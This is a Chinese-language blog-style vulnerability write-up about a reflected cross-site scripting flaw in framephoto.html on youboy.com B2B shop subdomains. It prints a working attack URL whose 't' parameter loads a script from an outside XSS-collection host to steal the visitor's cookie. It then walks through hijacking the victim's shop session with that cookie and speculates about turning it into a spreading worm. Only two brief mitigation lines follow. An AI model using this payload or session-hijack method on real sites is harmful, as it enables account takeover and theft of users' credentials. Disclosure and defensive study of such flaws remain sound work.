Author: Charlie
转载请注明出处。
工作过程纯粹手贱,测试了一下。然后发现了这么一个东西。有心利用能造成大范围影响。如可以自由修改用户信息。
漏洞存在文件:*.b2b.youboy.com/framephoto.html 【用户商铺的framephoto.html 文件均存在】
成因:没有对提交的参数 path 和 t 的值进行过滤就插入到网页。
漏洞证明:
看到这里,懂的同学就知道弹出那个框是什么意思了。不懂的继续往下看。看看它能干嘛。
先看下面一张图展示一个简单的攻击过程:
正常访问应该如图片中所示。提交用户名密码 -> 服务器验证成功设置SESSION、Cookie -> Cookie存活时间内再次访问后台无需登陆
这个时候恶意用户利用网页的漏洞,构造了一个特殊的URL发送给受害者,只要受害者访问后。Cookie 就被 恶意用户窃取。
然后用Cookie 去访问网站,这个时候网站就把恶意用户当做 已经登录的用户处理。返回正常的后台数据给恶意用户。
:D 很好玩的东西。下面我用我的一台VPS 当做受害者 , 我本机当做攻击者,展示一下利用过程。
首先我们先在VPS 上登录一个账户,假装是正常的用户,已经登陆了网站。如下:
这个时候我发送一条构造好的链接给他访问【为了方便我用XSS利用平台代码实现获取Cookie过程】。
http://hgskyt.b2b.youboy.com/framephoto.html?path=http://b2b.youboy.com/img/b1.jpg&t=<script src=http://ixss.in//4T2wES?1384675589></script>URL中参数”t“值为一段代码,作用是加载恶意JS,JS功能是获取Cookie,并传送去一个服务器上。
下面我就假装什么都不知道,在VPS上打开这个网址。如下图:
页面看起来很正常。实际VPS上的Cookie已经被上传到指定的地方了。如下图:
下面就让我们用这段Cookie在本地登录看看。看图:http://ww2.sinaimg.cn/mw690/9d3d6499gw1eao4yyc070g20hs0dchdt.gif
特地录了一段GIF。第一次我直接访问个人商铺后台,提示登录不成功。第二次,我拦截它发送的请求,然后把cookie替换成我们截取到的Cookie。
成功返回商铺的数据。
只要设置本地cookie为捕捉到的cookie,就可以登录对方商铺,为所欲为了。
假如利用JS自动进行POST数据修改 用户的商铺简介,再插入 恶意链接到页面。其它用户再点击,再感染,再传播。。。就有蠕虫的赶脚了。
修补:
1. 过滤特殊字符
2.可以考虑设置 httponly
测试环境:
本机 win8 64 + FireFox
VPS win2k3 32 + FireFox
之所以选用FireFox 是因为如Chrome 浏览器能拦截部分XSS,容易影响测试。如下:
并不是说漏洞不存在,只是它屏蔽了。